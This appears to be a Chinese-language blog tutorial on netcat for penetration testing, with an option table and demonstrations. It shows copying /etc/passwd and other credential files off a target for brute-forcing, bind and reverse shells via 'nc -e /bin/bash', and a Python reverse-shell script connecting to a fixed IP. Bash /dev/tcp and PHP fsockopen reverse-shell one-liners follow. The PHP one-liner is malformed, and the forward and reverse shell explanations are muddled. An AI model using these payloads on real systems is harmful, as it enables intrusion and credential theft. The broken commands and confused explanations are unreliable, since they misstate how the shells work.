Netcat(简称nc)主要用于两台设备之间的交互,即侦听模式/传输,是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。
Command | Summary | Command | Summary |
-h | 帮助信息 | -u | UDP模式 |
-r | 随机本地及远程端口 | -n | 指定数字的IP地址,不能域名服务器 |
-i | secs 延时的间隔 | -v | 详细输出——用两个-v可得到更详细的内容 |
-s | addr本地源地址 | -o | file记录16进制的传输 |
-l | 监听模式,用于入站连接 | -w | secs timeout 的时间 |
-t | 使用TELNET交互方式 | -p | port 本地端口号 |
-L | 连接关闭后,仍然继续监听 | -z | 将输入输出关掉——用于扫描时 |
-e | 主要用来在渗透过程中反弹shell |
nc三种使用方式
1. 实现连接通讯
建立连接(服务端——客户端);
服务端:nc -lnvp +端口
客户端:nc + 服务端IP + 端口
代表监听本地的端口,输出结果不加域名。
2. 传输文件内容
从客户端传输给服务端,此方法可以用来传递/etc/passwd等口令或密钥信息,获取后可以考虑爆破;
服务端(kali):nc -lvp +端口 > 文件完整名 客户端(靶机):nc + 服务端IP + 端口 < 文件完整名
3. 获取shell
netcat主要用来在渗透过程中反弹shell,获取shell分为两种,一种是正向shell,一种是反向shell:
如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell;
如果是客户端连接服务器,服务器端想要获取客户端的 shell,那么称为反向shell。
个人理解:对于client——server而言,正向反向,都是server端连接client端,正向为监听端口在server端,反向为监听端口在client端。
比如,server端监听9999端口,client直接连接9999端口,使得server端获得client的shell权限,这就是正向shell;
反之,client端监听9999端口,server端连接9999端口,使得server端获得client的shell权限,这就是反向shell;
正向shell演示
服务端:nc -lvp + 端口
客户端:nc + 服务端IP + 端口 -e /bin/bash
反向shell演示
服务端:nc -lvp + 端口 -e /bin/bash
客户端:nc + 服务端IP + 端口
客户端没有nc怎么办?如何反弹shell?
可以看是否有python环境?
有的话,用python来反弹shell;
python代替反弹shell脚本:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.217.11",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
还可以用bash等来反弹;(实际使用报错)
bash -i >& /dev/tcp/ip/1234 0>&1
还可以用php等来反弹;(实际使用报错)
php -r '$sock=fsockopen("192.168.217.11",9999);exec("/bin/sh -i &3 2>&3");'